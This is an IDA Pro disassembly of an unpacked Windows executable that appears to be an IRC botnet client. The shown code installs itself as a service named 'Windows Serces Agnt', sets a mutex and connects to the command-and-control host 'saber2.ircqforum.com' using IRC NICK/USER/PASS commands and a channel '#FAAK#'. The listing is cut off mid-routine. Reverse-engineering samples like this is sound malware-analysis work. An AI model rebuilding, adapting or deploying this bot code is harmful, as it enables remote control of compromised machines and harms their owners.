; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 1A6C354BDD1D42B97FB5ACA52013B491 ; File Name : u:\work\1a6c354bdd1d42b97fb5aca52013b491_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DE000 ( 909312.) ; Section size in file : 000DE000 ( 909312.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_4188A6+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsSercesA ; "Windows Serces Agnt" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CB998 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41B9C0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CBA08 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CB948 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CB9C0 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427220[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:004169EAp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41BEB5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41BEA2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41BBE2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41BAFA add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41BA91 push edi call sub_41BA3B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43E92C call dword_4CBA7C call sub_40B583 call dword_4CB93C call dword_4CB93C mov ebx, dword_427080 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41BF70 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43DB98 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2670A4Bh lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2670000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2660BA5h test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427070 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43DB90 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call near ptr 77E75CB5h nop pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418BD1 pop ecx mov dword_4CB720, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270B0 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CB724, eax call esi push eax call sub_41C2B8 pop ecx call sub_409909 push 2 call dword_4CBA90 push 7530h push offset aDark ; "Dark" push ebx push ebx nop call near ptr 2690000h push eax nop call near ptr 2680E76h cmp eax, 102h jnz short loc_4012A1 push 1 call near ptr 77E75CB5h nop loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CB954 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax call near ptr 2670A4Bh nop lea eax, [ebp-2ECh] push esi push eax push ebx call near ptr 2680D5Ch nop push eax nop call near ptr 2670000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41C3B1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_429ACC lea eax, [ebp-5F4h] push esi push eax call sub_41C360 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41C2E0 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_42910C jz short loc_40139C push esi xor edi, edi call sub_41B9C0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41C2C2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42910C[edi], dl inc edi call sub_41B9C0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_429AC4 push eax call sub_41C266 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 2680CB0h cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2680B92h loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427098 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 26808B7h cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h call near ptr 2670EEFh nop lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_4187E0 pop ecx lea eax, [ebp-1E8h] push 7 push eax call near ptr 2680B92h nop push 10h lea eax, [ebp-20h] push ebx push eax call sub_41BF70 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41BF70 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset byte_43DB98 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi call near ptr 2680840h nop push eax push esi push 100000h loc_401495: ; DATA XREF: ___:off_4330A4o nop call near ptr 2680231h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_429AB8 push eax call sub_41C266 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2660BA5h test eax, eax jz short loc_401516 push 0C8h nop call near ptr 2670EEFh push dword ptr [ebp-20h] mov esi, dword_427070 call esi push dword ptr [ebp-1Ch] call esi call dword_4CB93C push ebx nop call near ptr 77E75CB5h loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DBE08, 2 jle short loc_401562 mov eax, dword_4DBE0C push dword ptr [eax+4] call sub_41C159 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2680E76h push esi call near ptr 2660830h nop mov eax, dword_4DBE0C cmp [eax+8], ebx jz short loc_401562 push 7D0h call near ptr 2670EEFh nop mov eax, dword_4DBE0C push dword ptr [eax+8] nop call near ptr 2680158h loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CBAB4, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429A9C push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B3BA lea eax, [ebp-0A0h] push eax call sub_415D38 push 0B80h push ebx push offset dword_43DBA0 call sub_41BF70 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429A78 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B3BA add esp, 14h mov esi, eax mov edi, dword_427084 lea eax, [ebp-8] push eax push ebx push ebx push offset byte_419F4D push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E934[esi], eax jnz short loc_401622 call near ptr 26808B7h nop push eax lea eax, [ebp-0A0h] push offset unk_429A38 push eax call sub_41C266 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_415D38 push 2 call sub_40B602 pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429A0C push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_410BFD push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E934[esi], eax jnz short loc_40169A nop call near ptr 26808B7h push eax lea eax, [ebp-0A0h] push offset dword_4299D8 push eax call sub_41C266 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_415D38 pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41C2C2 push 7Fh and eax, 3 push offset aSaber2_ircqfor ; "saber2.ircqforum.com" push offset dword_4CB72C mov dword_4CB898, eax call sub_41BFD0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CB7AC push offset aFaak ; "#FAAK#" push edi mov dword_4CB87C, eax call sub_41BFD0 push 3Fh mov esi, offset dword_4CB7EC push offset aSaad_ ; "saad." push esi call sub_41BFD0 add esp, 24h mov dword_4CB880, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CB728 mov dword_4CB894, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CB894, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h call near ptr 2670EEFh nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aSaber2_ircqfor ; "saber2.ircqforum.com" push offset dword_4CB72C call sub_41BFD0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CB87C, eax call sub_41BFD0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41BFD0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E8, bl jz loc_4016FC push 7Fh push offset byte_4290E8 push offset dword_4CB72C call sub_41BFD0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CB87C, eax call sub_41BFD0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41BFD0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B583 loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CB93C loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+654Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CB9E4 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A8F0 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41BF70 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40AE84 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43E938 push edi push eax call sub_41BFD0 add esp, 28h push 6 push 1 push 2 call dword_4CBA64 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43E92C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CB98C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CBA7C call sub_40A919 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j call near ptr 2670EEFh nop jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_429AD4 call sub_415DAC push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CBA7C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B6D6 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41C500 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CB890, bl jz short loc_40199A push offset byte_4CB890 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409823 add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40AE84 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CBA34 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CBA7C push 1388h call near ptr 2670EEFh nop loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CB9FC test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_4184CC pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 2670EEFh jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_568C = byte ptr -568Ch var_528C = byte ptr -528Ch var_50FC = byte ptr -50FCh var_4FF8 = byte ptr -4FF8h var_4EF8 = byte ptr -4EF8h var_4CF8 = byte ptr -4CF8h var_4BF8 = byte ptr -4BF8h var_4AF4 = byte ptr -4AF4h var_49F4 = byte ptr -49F4h var_48F0 = byte ptr -48F0h var_47F0 = byte ptr -47F0h var_46F0 = byte ptr -46F0h var_45F0 = byte ptr -45F0h var_458C = byte ptr -458Ch var_448C = byte ptr -448Ch var_438C = byte ptr -438Ch var_428C = byte ptr -428Ch var_408C = byte ptr -408Ch var_3F8C = dword ptr -3F8Ch var_3F88 = byte ptr -3F88h var_3F08 = byte ptr -3F08h var_3E04 = byte ptr -3E04h var_3D00 = dword ptr -3D00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = byte ptr -3CE8h var_3C68 = byte ptr -3C68h var_3BE8 = byte ptr -3BE8h var_3B68 = byte ptr -3B68h var_3AE8 = byte ptr -3AE8h var_3A68 = dword ptr -3A68h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = byte ptr -3A58h var_37D1 = byte ptr -37D1h var_37D0 = byte ptr -37D0h var_36CC = dword ptr -36CCh var_36C4 = dword ptr -36C4h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B0 = dword ptr -36B0h var_36AC = dword ptr -36ACh var_36A8 = byte ptr -36A8h var_3628 = byte ptr -3628h var_35A8 = byte ptr -35A8h var_3528 = byte ptr -3528h var_34A8 = dword ptr -34A8h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = byte ptr -3494h var_3414 = byte ptr -3414h var_3394 = byte ptr -3394h var_3314 = byte ptr -3314h var_3294 = dword ptr -3294h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = byte ptr -3280h var_3200 = byte ptr -3200h var_3180 = byte ptr -3180h var_3100 = byte ptr -3100h var_3080 = dword ptr -3080h var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = byte ptr -306Ch var_2FEC = byte ptr -2FECh var_2F6C = byte ptr -2F6Ch var_2EEC = byte ptr -2EECh var_2E6C = dword ptr -2E6Ch var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = byte ptr -2E5Ch var_2D58 = dword ptr -2D58h var_2D54 = byte ptr -2D54h var_2C50 = byte ptr -2C50h var_2B4C = dword ptr -2B4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = byte ptr -2B40h var_2AC0 = dword ptr -2AC0h var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AAC = byte ptr -2AACh var_2994 = byte ptr -2994h var_2914 = dword ptr -2914h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = byte ptr -28FCh var_287C = byte ptr -287Ch var_277C = byte ptr -277Ch var_267C = dword ptr -267Ch var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = byte ptr -2654h var_25D4 = byte ptr -25D4h var_24D4 = byte ptr -24D4h var_23D4 = dword ptr -23D4h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = byte ptr -23ACh var_232C = byte ptr -232Ch var_22AC = byte ptr -22ACh var_222C = dword ptr -222Ch var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = byte ptr -2218h var_2198 = byte ptr -2198h var_2118 = byte ptr -2118h var_2098 = dword ptr -2098h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = byte ptr -2084h var_2004 = byte ptr -2004h var_1F84 = byte ptr -1F84h var_1F04 = dword ptr -1F04h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = byte ptr -1EF0h var_1DF0 = byte ptr -1DF0h var_1D70 = dword ptr -1D70h var_1D68 = dword ptr -1D68h var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D4C = byte ptr -1D4Ch var_1D38 = byte ptr -1D38h var_1C34 = byte ptr -1C34h var_1BB0 = dword ptr -1BB0h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B98 = byte ptr -1B98h var_1B84 = byte ptr -1B84h var_1A80 = byte ptr -1A80h var_1A00 = dword ptr -1A00h var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = byte ptr -19E8h var_1968 = byte ptr -1968h var_1928 = byte ptr -1928h var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1818 = dword ptr -1818h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = byte ptr -180Ch var_17D4 = byte ptr -17D4h var_17B8 = byte ptr -17B8h var_1780 = byte ptr -1780h var_177C = byte ptr -177Ch var_16FC = byte ptr -16FCh var_16BC = byte ptr -16BCh var_162C = dword ptr -162Ch var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = byte ptr -1618h var_1598 = byte ptr -1598h var_1518 = dword ptr -1518h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = byte ptr -1508h var_14F8 = byte ptr -14F8h var_1478 = byte ptr -1478h var_13F8 = dword ptr -13F8h var_13F0 = dword ptr -13F0h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = byte ptr -13D8h var_1358 = byte ptr -1358h var_12D8 = byte ptr -12D8h var_1258 = dword ptr -1258h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1234 = byte ptr -1234h var_11B4 = byte ptr -11B4h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1114 = dword ptr -1114h var_1110 = byte ptr -1110h var_1090 = byte ptr -1090h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = byte ptr -0FECh var_F6C = dword ptr -0F6Ch var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = byte ptr -0F58h var_ED8 = dword ptr -0ED8h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = byte ptr -0EC4h var_E44 = dword ptr -0E44h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = byte ptr -0E34h var_E24 = byte ptr -0E24h var_E04 = byte ptr -0E04h var_D84 = dword ptr 